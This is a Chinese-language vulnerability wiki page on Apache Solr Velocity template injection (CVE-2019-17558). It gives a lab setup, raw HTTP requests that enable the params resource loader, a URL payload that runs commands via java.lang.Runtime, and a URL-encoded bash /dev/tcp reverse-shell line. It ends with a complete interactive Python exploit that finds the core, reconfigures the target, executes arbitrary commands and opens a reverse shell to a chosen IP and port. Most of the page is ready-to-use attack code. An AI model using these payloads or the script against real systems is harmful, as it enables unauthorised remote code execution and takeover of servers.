# Apache Solr Velocity模板远程执行 CVE-2019-17558 ## 漏洞描述 2019年10月末，GitHub代码中安全研究员S00pY发布一个Apache Solr Velocity模版注入远程命令执行的POC，发现网络上出现针对Apache Solr服务器的远程代码执行漏洞。该漏洞是由于Velocity模板存在注入所致（Velocity是一个基于Java的模板引擎，可让使用者通过模板语言引用Java中定义的对象）。攻击者在知道Solr服务器上Core名称后，先把`params.resource.loader.enabled`设置为true（就可加载指定资源），再进行远程执行命令。 ## 漏洞影响 ``` Apache Solr 5.x 至 8.2.0 ``` ## 环境搭建 ```shell https://github.com/vulhub/vulhub.git cd vulhub/solr/CVE-2019-17558 docker-compose build docker-compose up -d # 创建一个solr核心test docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db ``` 访问 http://xxx.xxx.xxx.xxx:8983/solr/ 正常即可 ## 漏洞复现 打开后获取 Core 信息 ![image-20220209120331157](./images/202202091204352.png) 得知 test 这个 Core 存在 访问 http://xxx.xxx.xxx.xxx:8983/solr/test/config 正常 ![image-20220209120359467](./images/202202091203542.png) 访问Core的config配置信息时，通过POST请求把{% em type="red" %}params.resource.loader.enabled{% endem %}设置为 True，再通过精心构造的get请求即可RCE，此时用户就可以加载指定资源，构造一个能执行命令的恶意请求 **设置params.resource.loader.enabled为True** ![image-20220209120442993](./images/202202091204075.png) ```shell POST /solr/test/config HTTP/1.1 Host: xxx.xxx.xxx.xxx:8983 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close Content-Length: 259 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } ``` **命令执行** 再使用POC造成命令执行 ![image-20220209120503629](./images/202202091205706.png) ```plain http://xxx.xxx.xxx.xxx:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x="")+%23set($rt=$x.class.forName("java.lang.Runtime"))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName("java.lang.String"))+%23set($ex=$rt.getRuntime().exec("whoami"))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end ``` 反弹hell，因为部分命令会被过滤导致返回 Error 500 ，所以反弹shell需要用另外的反弹shell方法 ```plain POC : /bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/xxx.xxx.xxx.xxx:9999 0>&1 POC需要Urlencoding进行编码才能绕过 POC ： %2Fbin%2Fbash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F{IP}%2F{PORT}%200%3E%261 ``` ## 漏洞POC ```python #!/usr/bin/python3 #-*- coding:utf-8 -*- # author : PeiQi # from : http://wiki.peiqi.tech import requests import sys import json def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: Apache Solr 5.0.0 - 8.3.1 \033[0m') print('+ \033[36m使用格式: python3 cve-2019-17558.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m') print('+ \033[36mCmd >>> whoami(命令执行) \033[0m') print('+ \033[36mCmd >>> shell(反弹shell) \033[0m') print('+------------------------------------------') def POC_1(target_url): core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json" try: response = requests.request("GET", url=core_url, timeout=10) core_name = list(json.loads(response.text)["status"])[0] print("\033[32m[o] 成功获得core_name,Url为：" + target_url + "/solr/" + core_name + "/config\033[0m") return core_name except: print("\033[31m[x] 目标Url漏洞利用失败\033[0m") sys.exit(0) def POC_2(target_url, core_name): open_params = target_url + "/solr/" + core_name + "/config" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" } set_api_data = """ { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } """ response = requests.request("POST", url=open_params, data=set_api_data, headers=headers, timeout=10) if response.status_code == 200: print("\033[32m[o] POST请求成功将params.resource.loader.enabled设置为True \033[0m") else: print("\033[31m[x] POST请求params.resource.loader.enabled设置为True失败 \033[0m") sys.exit(0) def POC_3(target_url, core_name, cmd): vnul_url = target_url + "/solr/" + core_name + "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" } response = requests.request("GET", url=vnul_url, headers=headers, timeout=10) if "Error 500" in response.text: print("\033[31m[x] 代码执行失败，响应为 Error 500 \033[0m") else: print("\033[32m[o] 漏洞成功利用,响应为\n \033[0m",response.text) def POC_4(target_url, core_name, IP, POST): # POC : /bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/xxx.xxx.xxx.xxx:9999 0>&1 cmd = "%2Fbin%2Fbash%20-c%20%24%40%7Cbash%200%20echo%20bash%20-i%20%3E%26%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261".format(IP, POST) vnul_url = target_url + "/solr/" + core_name + "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36" } response = requests.request("GET", url=vnul_url, headers=headers) if __name__ == "__main__": title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) core_name = POC_1(target_url) POC_2(target_url, core_name) while True: cmd = input("\033[35mCmd >>> \033[0m") if cmd == "exit": exit(0) elif cmd == "shell": IP = str(input("\033[35m请输入监听IP >>> \033[0m")) PORT = str(input("\033[35m请输入监听PORT >>> \033[0m")) POC_4(target_url, core_name, IP, PORT) else: POC_3(target_url, core_name, cmd) ``` ![image-20220209120525062](./images/202202091205136.png)